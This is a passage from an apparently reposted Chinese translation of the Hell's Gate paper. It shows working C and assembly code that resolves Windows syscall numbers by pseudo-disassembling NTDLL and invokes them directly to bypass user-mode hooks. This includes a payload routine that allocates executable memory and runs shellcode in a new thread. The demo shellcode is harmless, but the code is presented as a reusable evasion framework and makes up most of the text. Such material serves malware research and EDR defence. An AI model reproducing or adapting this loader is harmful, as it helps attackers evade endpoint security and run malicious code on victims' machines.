上面这段代码,从根本上与“获取函数指针”的那种古老的位置无关性方法论十分相似。然而,我们的代码超额完成了任务——它对该函数进行了伪反汇编。它校验该函数的第 3 个字节(偏移 +3),以寻找汇编操作码 0xb8(MOV EAX)的存在。如果该操作码存在,我们就继续进行伪反汇编,获取 0xb8 之后的操作码。注意,此处之所以进行位运算,是因为系统调用号的类型是 WORD,因而大小为 2 字节。

if&nbsp;(*((PBYTE)pFunctionAddress +&nbsp;3) ==&nbsp;0xb8) {
&nbsp; &nbsp; BYTE high = *((PBYTE)pFunctionAddress +&nbsp;5);
&nbsp; &nbsp; BYTE low = *((PBYTE)pFunctionAddress +&nbsp;4);
&nbsp; &nbsp; pVxTableEntry->wSystemCall = (high <<&nbsp;8) | low;
break;
}

既然数据已成功聚合完毕,我们现在就可以使用我们在第 2 部分所展示的那段汇编代码,动态地发起系统调用了。

.data
&nbsp; &nbsp; wSystemCall&nbsp;DWORD0h

.code
&nbsp; &nbsp; HellsGate PROC
mov&nbsp;wSystemCall,&nbsp;0h
mov&nbsp;wSystemCall,&nbsp;ecx
ret
&nbsp; &nbsp; HellsGate ENDP

&nbsp; &nbsp; HellDescent PROC
movr10,&nbsp;rcx
moveax, wSystemCall
syscall
ret
&nbsp; &nbsp; HellDescent ENDP
end

最后,既然所有系统调用都已在运行时被解析出来,它们就可被用于执行载荷(payload)。在本例中,这是一个简单的进程内 shellcode 注入,它将触发一个断点。

BOOL&nbsp;Payload(PVX_TABLE pVxTable)&nbsp;{
&nbsp; &nbsp; NTSTATUS status =&nbsp;0x00000000;
char&nbsp;shellcode[] = “\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3”;

// Allocate memory for the shellcode
&nbsp; &nbsp; PVOID lpAddress =&nbsp;NULL;
&nbsp; &nbsp; SIZE_T sDataSize =&nbsp;sizeof(shellcode);
&nbsp; &nbsp; HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
&nbsp; &nbsp; status = HellDescent((HANDLE)-1, &lpAddress,&nbsp;0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

// Write Memory (i.e. RtlMoveMemory)
&nbsp; &nbsp; VxMoveMemory(lpAddress, shellcode,&nbsp;sizeof(shellcode));

// Change page permissions
&nbsp; &nbsp; ULONG ulOldProtect =&nbsp;NULL;
&nbsp; &nbsp; HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
&nbsp; &nbsp; status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);

// Create thread
&nbsp; &nbsp; HANDLE hHostThread = INVALID_HANDLE_VALUE;
&nbsp; &nbsp; HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
&nbsp; &nbsp; status = HellDescent(&hHostThread,&nbsp;0x1FFFFF,&nbsp;NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress,
NULL, FALSE,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL);

// Wait for 1 seconds
&nbsp; &nbsp; LARGE_INTEGER Timeout;
&nbsp; &nbsp; Timeout.QuadPart =&nbsp;-10000000;
&nbsp; &nbsp; HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
&nbsp; &nbsp; status = HellDescent(hHostThread, FALSE, &Timeout);

return&nbsp;TRUE;
}

第 4 部分 结论(Conclusion)

这种通过伪反汇编 NTDLL 来获取系统调用号的方法并非新鲜事物,它曾是多篇论文的主题。然而,据我们所知,本文是目前网上唯一一篇详尽讲解“如何伪反汇编 NTDLL(或任何其他内存模块)并聚合系统调用号”这一过程的论文。此外,在本文发布之前,我们注意到也有其他若干人发布了类似的论文或概念验证代码。只不过,他们都没有真正发起(invoke)系统调用,而仅仅是对 NTDLL 进行反汇编并把系统调用号打印到控制台上。

我们相信 Hell’s Gate 的出色之处在于:它不仅仅是一个概念验证,它还可以作为一套通用框架——在不使用静态系统调用号的前提下,动态地获取并调用系统调用。

希望本文对您有所裨益。

1luv am0n && smelly


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博生存指南 RtlMateusz RtlMateusz《好文 | 重温经典—地狱之门 Hell’s Gate》

评论:0   参与:  0